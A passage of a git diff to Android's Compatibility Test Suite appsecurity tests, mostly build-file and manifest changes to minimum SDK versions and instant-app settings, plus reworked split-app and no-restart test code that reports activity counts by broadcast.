 package android.appsecurity.cts;
 
-import android.platform.test.annotations.AppModeFull;
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.device.DeviceNotAvailableException;
@@ -29,7 +28,6 @@
  * Set of tests that verify behavior of runtime permissions, including both
  * dynamic granting and behavior of legacy apps.
  */
-@AppModeFull // TODO: Needs porting to instant
 public class UsesLibraryHostTest extends DeviceTestCase implements IAbiReceiver, IBuildReceiver {
     private static final String PKG = "com.android.cts.useslibrary";
 
diff --git a/hostsidetests/appsecurity/test-apps/AccessSerialLegacy/Android.mk b/hostsidetests/appsecurity/test-apps/AccessSerialLegacy/Android.mk
index bfb88f0..a85305d 100644
--- a/hostsidetests/appsecurity/test-apps/AccessSerialLegacy/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/AccessSerialLegacy/Android.mk
@@ -26,6 +26,7 @@
 
 LOCAL_PACKAGE_NAME := CtsAccessSerialLegacy
 LOCAL_SDK_VERSION := current
+LOCAL_MIN_SDK_VERSION := 27
 
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
diff --git a/hostsidetests/appsecurity/test-apps/AccessSerialModern/Android.mk b/hostsidetests/appsecurity/test-apps/AccessSerialModern/Android.mk
index 4bdb346..dd24d5b 100644
--- a/hostsidetests/appsecurity/test-apps/AccessSerialModern/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/AccessSerialModern/Android.mk
@@ -27,6 +27,7 @@
 
 LOCAL_PACKAGE_NAME := CtsAccessSerialModern
 LOCAL_SDK_VERSION := current
+LOCAL_MIN_SDK_VERSION := 27
 
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
diff --git a/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/EncryptionAppTest.java b/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/EncryptionAppTest.java
index 38cdb3c..1d0f83e 100644
--- a/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/EncryptionAppTest.java
+++ b/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/EncryptionAppTest.java
@@ -19,7 +19,6 @@
 import static android.content.pm.PackageManager.MATCH_DIRECT_BOOT_AWARE;
 import static android.content.pm.PackageManager.MATCH_DIRECT_BOOT_UNAWARE;
 
-import android.app.KeyguardManager;
 import android.content.BroadcastReceiver;
 import android.content.ComponentName;
 import android.content.Context;
@@ -57,7 +56,6 @@
     private Context mCe;
     private Context mDe;
     private PackageManager mPm;
-    private KeyguardManager mKm;
 
     private UiDevice mDevice;
     private AwareActivity mActivity;
@@ -69,7 +67,6 @@
         mCe = getInstrumentation().getContext();
         mDe = mCe.createDeviceProtectedStorageContext();
         mPm = mCe.getPackageManager();
-        mKm = (KeyguardManager) mCe.getSystemService(Context.KEYGUARD_SERVICE);
 
         mDevice = UiDevice.getInstance(getInstrumentation());
         assertNotNull(mDevice);
@@ -103,9 +100,7 @@
 
     public void testTearDown() throws Exception {
         // Just in case, always try tearing down keyguard
-        if (mKm.isKeyguardLocked()) {
-            dismissKeyguard();
-        }
+        dismissKeyguard();
 
         mActivity = launchActivity(getInstrumentation().getTargetContext().getPackageName(),
                 AwareActivity.class, null);
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/Android.mk b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/Android.mk
index 90b7866..eb8a172 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/Android.mk
@@ -37,4 +37,6 @@
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_DEX_PREOPT := false
 
+LOCAL_MIN_SDK_VERSION := 25
+
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/AndroidManifest.xml
index 2dc1b02..ac9a6f7 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/AndroidManifest.xml
@@ -18,7 +18,7 @@
     package="com.android.cts.ephemeralapp1"
     android:targetSandboxVersion="2">
     <uses-sdk
-        android:minSdkVersion="25" />
+        android:minSdkVersion="24" android:targetSdkVersion="26" />
 
     <uses-permission android:name="com.android.alarm.permission.SET_ALARM" />
     <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/Android.mk b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/Android.mk
index 78c7970..d13d8a1 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/Android.mk
@@ -33,6 +33,7 @@
 
 LOCAL_PACKAGE_NAME := CtsEphemeralTestsEphemeralApp2
 LOCAL_SDK_VERSION := current
+LOCAL_MIN_SDK_VERSION := 24
 
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_DEX_PREOPT := false
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/AndroidManifest.xml
index 0350cc6..eba478e 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/AndroidManifest.xml
@@ -18,7 +18,7 @@
     package="com.android.cts.ephemeralapp2"
     android:targetSandboxVersion="2">
     <uses-sdk
-        android:minSdkVersion="24" />
+        android:minSdkVersion="24" android:targetSdkVersion="26" />
 
     <!-- TEST: exists only for testing ephemeral app1 can't see this app -->
     <application
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/ImplicitlyExposedApp/Android.mk b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/ImplicitlyExposedApp/Android.mk
index 8b04f9b..b9089f0 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/ImplicitlyExposedApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/ImplicitlyExposedApp/Android.mk
@@ -30,6 +30,7 @@
 
 LOCAL_PACKAGE_NAME := CtsEphemeralTestsImplicitApp
 LOCAL_SDK_VERSION := current
+LOCAL_MIN_SDK_VERSION := 24
 
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_DEX_PREOPT := false
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/Android.mk b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/Android.mk
index d2c3667..0246b88 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/Android.mk
@@ -32,6 +32,7 @@
 
 LOCAL_PACKAGE_NAME := CtsEphemeralTestsNormalApp
 LOCAL_SDK_VERSION := system_current
+LOCAL_MIN_SDK_VERSION := 24
 
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_DEX_PREOPT := false
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/src/com/android/cts/normalapp/ClientTest.java b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/src/com/android/cts/normalapp/ClientTest.java
index 48a1b5d..2265dec 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/src/com/android/cts/normalapp/ClientTest.java
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/src/com/android/cts/normalapp/ClientTest.java
@@ -441,10 +441,6 @@
         final int originalSetting = Secure.getInt(contentResolver, Secure.INSTANT_APPS_ENABLED, 1);
         Secure.putInt(contentResolver, Secure.INSTANT_APPS_ENABLED, 0);
         try {
-            Thread.sleep(1000);
-        } catch (Exception e) {
-        }
-        try {
             // start the ephemeral activity; using VIEW/BROWSABLE with setting disabled
             try {
                 final Intent startViewIntent = new Intent(Intent.ACTION_VIEW)
diff --git a/hostsidetests/appsecurity/test-apps/InstantUpgradeApp/Android.mk b/hostsidetests/appsecurity/test-apps/InstantUpgradeApp/Android.mk
index e0bc1cf..f4c51c9 100644
--- a/hostsidetests/appsecurity/test-apps/InstantUpgradeApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/InstantUpgradeApp/Android.mk
@@ -36,4 +36,6 @@
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_DEX_PREOPT := false
 
+LOCAL_MIN_SDK_VERSION := 25
+
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/NoRestartApp/Android.mk b/hostsidetests/appsecurity/test-apps/NoRestartApp/Android.mk
index 656f54a..fab17a5 100644
--- a/hostsidetests/appsecurity/test-apps/NoRestartApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/NoRestartApp/Android.mk
@@ -20,18 +20,16 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res
 
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
-
 LOCAL_PACKAGE_NAME := CtsNoRestartBase
 LOCAL_SDK_VERSION := current
 
 LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_DEX_PREOPT := false
 
-LOCAL_SDK_VERSION := test_current
+LOCAL_EXPORT_PACKAGE_RESOURCES := true
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
 
diff --git a/hostsidetests/appsecurity/test-apps/NoRestartApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/NoRestartApp/AndroidManifest.xml
index a8aa042..7140333 100644
--- a/hostsidetests/appsecurity/test-apps/NoRestartApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/NoRestartApp/AndroidManifest.xml
@@ -16,21 +16,20 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
     xmlns:tools="http://schemas.android.com/tools"
     package="com.android.cts.norestart"
-    android:targetSandboxVersion="2"
     tools:ignore="MissingVersion" >
 
+    <uses-sdk
+        android:minSdkVersion="8"
+        android:targetSdkVersion="23" />
+
     <application
         tools:ignore="AllowBackup,MissingApplicationIcon" >
         <activity
             android:name=".NoRestartActivity"
-            android:launchMode="singleTop">
+            android:launchMode="singleTop" >
             <intent-filter>
-                <action android:name="android.intent.action.VIEW" />
+                <action android:name="com.android.cts.norestart.START" />
                 <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <data android:scheme="https" />
-                <data android:host="foo.com" />
-                <data android:path="/bar" />
             </intent-filter>
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -38,8 +37,4 @@
             </intent-filter>
             </activity>
     </application>
-
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
-             android:targetPackage="com.android.cts.norestart" />
-
 </manifest>
diff --git a/hostsidetests/appsecurity/test-apps/NoRestartApp/feature/Android.mk b/hostsidetests/appsecurity/test-apps/NoRestartApp/feature/Android.mk
index 3558eb7..c9882b8 100644
--- a/hostsidetests/appsecurity/test-apps/NoRestartApp/feature/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/NoRestartApp/feature/Android.mk
@@ -29,11 +29,9 @@
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_DEX_PREOPT := false
 
-localRStamp := $(call intermediates-dir-for,APPS,$(LOCAL_PACKAGE_NAME),,COMMON)/src/R.stamp
-featureOf := CtsNoRestartBase
-featureOfApk := $(call intermediates-dir-for,APPS,$(featureOf))/package.apk
-$(localRStamp): $(featureOfApk)
-LOCAL_APK_LIBRARIES := $(featureOf)
-LOCAL_AAPT_FLAGS += --feature-of $(featureOfApk)
+LOCAL_USE_AAPT2 := true
+LOCAL_APK_LIBRARIES := CtsNoRestartBase
+LOCAL_RES_LIBRARIES := $(LOCAL_APK_LIBRARIES)
+LOCAL_AAPT_FLAGS += --package-id 0x80 --rename-manifest-package com.android.cts.norestart
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/NoRestartApp/feature/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/NoRestartApp/feature/AndroidManifest.xml
index f98cb0d..b2fa3e8 100644
--- a/hostsidetests/appsecurity/test-apps/NoRestartApp/feature/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/NoRestartApp/feature/AndroidManifest.xml
@@ -16,10 +16,13 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
     xmlns:tools="http://schemas.android.com/tools"
     package="com.android.cts.norestart"
-    android:targetSandboxVersion="2"
     split="feature"
     tools:ignore="MissingVersion" >
 
+    <uses-sdk
+        android:minSdkVersion="8"
+        android:targetSdkVersion="23" />
+
     <application
         android:allowBackup="false"
         tools:ignore="MissingApplicationIcon" >
diff --git a/hostsidetests/appsecurity/test-apps/NoRestartApp/src/com/android/cts/norestart/NoRestartActivity.java b/hostsidetests/appsecurity/test-apps/NoRestartApp/src/com/android/cts/norestart/NoRestartActivity.java
index 09ea8bd..26d5712 100644
--- a/hostsidetests/appsecurity/test-apps/NoRestartApp/src/com/android/cts/norestart/NoRestartActivity.java
+++ b/hostsidetests/appsecurity/test-apps/NoRestartApp/src/com/android/cts/norestart/NoRestartActivity.java
@@ -16,38 +16,35 @@
 
 package com.android.cts.norestart;
 
-import android.content.Intent;
-import android.os.RemoteCallback;
 import com.android.cts.norestart.R;
 
 import android.app.Activity;
+import android.content.Intent;
 import android.os.Bundle;
 
 public class NoRestartActivity extends Activity {
-    private static int sCreateCount;
+    private int mCreateCount;
     private int mNewIntentCount;
 
     @Override
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
         setContentView(R.layout.no_restart_activity);
-        sCreateCount++;
-        final RemoteCallback callback = getIntent().getParcelableExtra("RESPONSE");
-        sendResponse(callback);
+        mCreateCount++;
+        sendBroadcast();
     }
 
     @Override
     protected void onNewIntent(Intent intent) {
         super.onNewIntent(intent);
         mNewIntentCount++;
-        final RemoteCallback callback = intent.getParcelableExtra("RESPONSE");
-        sendResponse(callback);
+        sendBroadcast();
     }
 
-    private void sendResponse(RemoteCallback callback) {
-        final Bundle payload = new Bundle();
-        payload.putInt("CREATE_COUNT", sCreateCount);
-        payload.putInt("NEW_INTENT_COUNT", mNewIntentCount);
-        callback.sendResult(payload);
+    private void sendBroadcast() {
+        final Intent intent = new Intent("com.android.cts.norestart.BROADCAST");
+        intent.putExtra("CREATE_COUNT", mCreateCount);
+        intent.putExtra("NEW_INTENT_COUNT", mNewIntentCount);
+        sendBroadcast(intent);
     }
 }
diff --git a/hostsidetests/appsecurity/test-apps/NoRestartApp/src/com/android/cts/norestart/NoRestartTest.java b/hostsidetests/appsecurity/test-apps/NoRestartApp/src/com/android/cts/norestart/NoRestartTest.java
deleted file mode 100644
index 7c9dc2c..0000000
--- a/hostsidetests/appsecurity/test-apps/NoRestartApp/src/com/android/cts/norestart/NoRestartTest.java
+++ /dev/null
@@ -1,36 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.norestart;
-
-import android.content.Intent;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-@RunWith(AndroidJUnit4.class)
-public class NoRestartTest {
-    @Test
-    public void testPokeFullApp() {
-        final Intent intent = new Intent();
-        intent.setClassName("com.android.cts.splitapp", "com.android.cts.splitapp.MyActivity");
-        intent.addCategory(Intent.CATEGORY_DEFAULT);
-        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
-        InstrumentationRegistry.getContext().startActivity(intent);
-    }
-}
diff --git a/hostsidetests/appsecurity/test-apps/PermissionPolicy25/Android.mk b/hostsidetests/appsecurity/test-apps/PermissionPolicy25/Android.mk
index a8d659b..c696530 100644
--- a/hostsidetests/appsecurity/test-apps/PermissionPolicy25/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/PermissionPolicy25/Android.mk
@@ -29,6 +29,7 @@
 
 LOCAL_PACKAGE_NAME := CtsPermissionPolicyTest25
 LOCAL_SDK_VERSION := current
+LOCAL_MIN_SDK_VERSION := 25
 
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/Android.mk
index c63bcb6..28aa01a 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/Android.mk
@@ -27,10 +27,11 @@
 
 LOCAL_PACKAGE_NAME := CtsSplitApp
 LOCAL_SDK_VERSION := current
+LOCAL_MIN_SDK_VERSION := 4
 LOCAL_PACKAGE_SPLITS := mdpi-v4 hdpi-v4 xhdpi-v4 xxhdpi-v4 v7 fr de
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_ASSET_DIR := $(LOCAL_PATH)/assets
 
@@ -40,7 +41,7 @@
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_DEX_PREOPT := false
 
-LOCAL_SDK_VERSION := test_current
+LOCAL_EXPORT_PACKAGE_RESOURCES := true
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
 
@@ -62,7 +63,7 @@
 LOCAL_PACKAGE_SPLITS := v7
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_MANIFEST_FILE := revision/AndroidManifest.xml
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
@@ -71,8 +72,6 @@
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_DEX_PREOPT := false
 
-LOCAL_SDK_VERSION := test_current
-
 include $(BUILD_CTS_SUPPORT_PACKAGE)
 
 
@@ -93,7 +92,7 @@
 LOCAL_PACKAGE_SPLITS := v7
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
 LOCAL_AAPT_FLAGS := --version-code 101 --version-name OneHundredOne --replace-version
@@ -101,8 +100,6 @@
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_DEX_PREOPT := false
 
-LOCAL_SDK_VERSION := test_current
-
 include $(BUILD_CTS_SUPPORT_PACKAGE)
 
 
@@ -123,7 +120,7 @@
 LOCAL_PACKAGE_SPLITS := v7
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
 LOCAL_AAPT_FLAGS := --version-code 100 --version-name OneHundred --replace-version
@@ -131,8 +128,6 @@
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_DEX_PREOPT := false
 
-LOCAL_SDK_VERSION := test_current
-
 include $(BUILD_CTS_SUPPORT_PACKAGE)
 
 
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/AndroidManifest.xml
index f56398e..abb7f32 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/AndroidManifest.xml
@@ -15,18 +15,16 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.splitapp"
-    android:targetSandboxVersion="2">
-
+    package="com.android.cts.splitapp">
     <!-- TODO(b/73365611) Remove targetSdkVersion once EncryptionApp tests
          are fixed to no longer access SplitApp's data by path. -->
-    <uses-sdk android:minSdkVersion="21" android:targetSdkVersion="27" />
+    <uses-sdk android:minSdkVersion="4" android:targetSdkVersion="27" />
 
     <uses-permission android:name="android.permission.CAMERA" />
     <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
 
     <application android:label="SplitApp">
-        <activity android:name=".MyActivity" android:visibleToInstantApps="true">
+        <activity android:name=".MyActivity">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.intent.category.LAUNCHER" />
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/feature/Android.mk
index 46abb3c..736c891 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/feature/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature/Android.mk
@@ -32,11 +32,9 @@
 # tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
 
-featureOf := CtsSplitApp
-featureOfApk := $(call intermediates-dir-for,APPS,$(featureOf))/package.apk
-localRStamp := $(call intermediates-dir-for,APPS,$(LOCAL_PACKAGE_NAME),,COMMON)/src/R.stamp
-$(localRStamp): $(featureOfApk)
-
-LOCAL_AAPT_FLAGS += --feature-of $(featureOfApk)
+LOCAL_USE_AAPT2 := true
+LOCAL_APK_LIBRARIES := CtsSplitApp
+LOCAL_RES_LIBRARIES := $(LOCAL_APK_LIBRARIES)
+LOCAL_AAPT_FLAGS += --package-id 0x80 --rename-manifest-package com.android.cts.splitapp
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/revision/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/revision/AndroidManifest.xml
index a17d470..8e053ba 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/revision/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/revision/AndroidManifest.xml
@@ -16,8 +16,7 @@
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
         package="com.android.cts.splitapp"
-        android:revisionCode="12"
-        android:targetSandboxVersion="2">
+        android:revisionCode="12">
 
     <uses-permission android:name="android.permission.CAMERA" />
 
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/MyActivity.java b/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/MyActivity.java
index cc875bd..9b9f01c 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/MyActivity.java
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/MyActivity.java
@@ -17,12 +17,6 @@
 package com.android.cts.splitapp;
 
 import android.app.Activity;
-import android.os.Bundle;
 
 public class MyActivity extends Activity {
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        finish();
-    }
 }
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/SplitAppTest.java b/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/SplitAppTest.java
index 3288aca..4cfd7d0 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/SplitAppTest.java
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/SplitAppTest.java
@@ -19,8 +19,10 @@
 import static org.xmlpull.v1.XmlPullParser.END_DOCUMENT;
 import static org.xmlpull.v1.XmlPullParser.START_TAG;
 
+import android.content.BroadcastReceiver;
 import android.content.Context;
 import android.content.Intent;
+import android.content.IntentFilter;
 import android.content.pm.ApplicationInfo;
 import android.content.pm.PackageInfo;
 import android.content.pm.PackageManager;
@@ -33,12 +35,12 @@
 import android.graphics.Bitmap;
 import android.graphics.Canvas;
 import android.graphics.drawable.Drawable;
-import android.net.Uri;
-import android.os.Bundle;
 import android.os.ConditionVariable;
 import android.os.Environment;
-import android.os.RemoteCallback;
+import android.os.ParcelFileDescriptor;
+import android.os.StatFs;
 import android.system.Os;
+import android.system.OsConstants;
 import android.system.StructStat;
 import android.test.AndroidTestCase;
 import android.test.MoreAsserts;
@@ -52,6 +54,7 @@
 import java.io.DataInputStream;
 import java.io.DataOutputStream;
 import java.io.File;
+import java.io.FileDescriptor;
 import java.io.FileInputStream;
 import java.io.FileOutputStream;
 import java.io.IOException;
@@ -306,7 +309,23 @@
     }
 
     public void testBaseInstalled() throws Exception {
-        launchBaseActivity(1, 0);
+        final ConditionVariable cv = new ConditionVariable();
+        final BroadcastReceiver r = new BroadcastReceiver() {
+            @Override
+            public void onReceive(Context context, Intent intent) {
+                assertEquals(1, intent.getIntExtra("CREATE_COUNT", -1));
+                assertEquals(0, intent.getIntExtra("NEW_INTENT_COUNT", -1));
+                cv.open();
+            }
+        };
+        final IntentFilter filter = new IntentFilter("com.android.cts.norestart.BROADCAST");
+        getContext().registerReceiver(r, filter);
+        final Intent i = new Intent("com.android.cts.norestart.START");
+        i.addCategory(Intent.CATEGORY_DEFAULT);
+        i.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        getContext().startActivity(i);
+        assertTrue(cv.block(2000L));
+        getContext().unregisterReceiver(r);
     }
 
     /**
@@ -316,27 +335,23 @@
      * done in {@link #testBaseInstalled()}.
      */
     public void testFeatureInstalled() throws Exception {
-        launchBaseActivity(1, 1);
-    }
-
-    private void launchBaseActivity(int expectedCreateCount, int expectedNewIntentCount) {
         final ConditionVariable cv = new ConditionVariable();
-
-        final Intent i = new Intent(Intent.ACTION_VIEW);
-        i.setPackage("com.android.cts.norestart");
+        final BroadcastReceiver r = new BroadcastReceiver() {
+            @Override
+            public void onReceive(Context context, Intent intent) {
+                assertEquals(1, intent.getIntExtra("CREATE_COUNT", -1));
+                assertEquals(1, intent.getIntExtra("NEW_INTENT_COUNT", -1));
+                cv.open();
+            }
+        };
+        final IntentFilter filter = new IntentFilter("com.android.cts.norestart.BROADCAST");
+        getContext().registerReceiver(r, filter);
+        final Intent i = new Intent("com.android.cts.norestart.START");
         i.addCategory(Intent.CATEGORY_DEFAULT);
-        i.addCategory(Intent.CATEGORY_BROWSABLE);
         i.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
-        i.setData(Uri.parse("https://foo.com/bar"));
-
-        i.putExtra("RESPONSE", new RemoteCallback((Bundle result) -> {
-            assertEquals(expectedCreateCount, result.getInt("CREATE_COUNT", -1));
-            assertEquals(expectedNewIntentCount, result.getInt("NEW_INTENT_COUNT", -1));
-            cv.open();
-        }));
-
         getContext().startActivity(i);
         assertTrue(cv.block(2000L));
+        getContext().unregisterReceiver(r);
     }
 
     public void testFeatureApi() throws Exception {
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/Android.mk b/hostsidetests/appsecurity/test-apps/UsePermissionApp22/Android.mk
index 7a62f09..3712956 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp22/Android.mk
@@ -43,4 +43,6 @@
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_DEX_PREOPT := false
 
+LOCAL_MIN_SDK_VERSION := 22
+
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/Android.mk b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/Android.mk
index 58ee1c7..648b387 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/Android.mk
@@ -41,4 +41,6 @@
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_DEX_PREOPT := false
 
+LOCAL_MIN_SDK_VERSION := 23
+
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp25/Android.mk b/hostsidetests/appsecurity/test-apps/UsePermissionApp25/Android.mk
index 8528752..59e5f91 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp25/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp25/Android.mk
@@ -42,4 +42,6 @@
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_DEX_PREOPT := false
 
+LOCAL_MIN_SDK_VERSION := 25
+
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/UsesLibraryApp/src/com/android/cts/useslibrary/UsesLibraryTest.java b/hostsidetests/appsecurity/test-apps/UsesLibraryApp/src/com/android/cts/useslibrary/UsesLibraryTest.java
index b9dc639..73b820d 100644
